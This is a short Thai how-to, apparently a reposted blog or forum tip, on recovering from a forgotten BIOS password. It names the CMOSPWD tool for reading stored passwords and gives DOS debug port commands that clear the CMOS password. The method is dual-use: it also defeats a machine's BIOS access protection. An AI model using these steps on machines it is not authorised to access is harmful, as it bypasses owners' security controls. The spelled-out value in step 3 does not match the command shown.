โดยการใช้โปรแกรม มาทำการรัน เพื่อลบ password ซึ่งวิธีนี้ผมเองก็ยังไม่เคยใช้ ถ้าหากไม่มีวิธีอื่น ๆ แล้วก็ลองกันดูครับ ตัวโปรแกรมที่ว่าเคยเห็นจาก http://www.thaiware.com ครับ

ใช้โปรแกรม CMOSPWD สำหรับการดู password ที่ตั้งไว้

โดยการใช้โปรแกรม CMOSPWD มารันใน DOS Mode ซึ่งจะทำให้เราเห็นข้อมูลของ password ได้ แต่ต้องทราบรุ่นของ bios ที่ใช้งานด้วยนะครับ ตัวโปรแกรมนี้หาได้ที่ http://www.tweakfiles.com ครับ

ใช้ debug ในการลบ password

อีกวิธีหนึ่งครับ โดยการเรียกโปรแกรม debug ที่จะมีอยู่ใน DOS และสั่งคำสั่งต่าง ๆ โดยมีขั้นตอนดังนี้

1. บูตเครื่องโดยให้เข้าที่ DOS Mode โดยการกด Ctrl ค้างขณะบูต และเลือกเข้า DOS Prompt
2. พิมพ์คำว่า debug และกด Enter จะขึ้นเครื่องหมาย – รออยู่
3. พิมพ์คำว่า o 70 2e และกด Enter ( ตัวอักษร โอ เจ็ดศูนย์ สองหนึ่ง นะครับ)
4. พิมพ์คำว่า o 71 ff และกด Enter
5. กด q และกด Enter ครับ
6. จากนั้น บูตเครื่องใหม่ ถ้าใช้งานได้ ก็จะไม่มีการถามรหัสผ่านเข้า bios อีกแล้ว

Credit :: http://www.com-th.net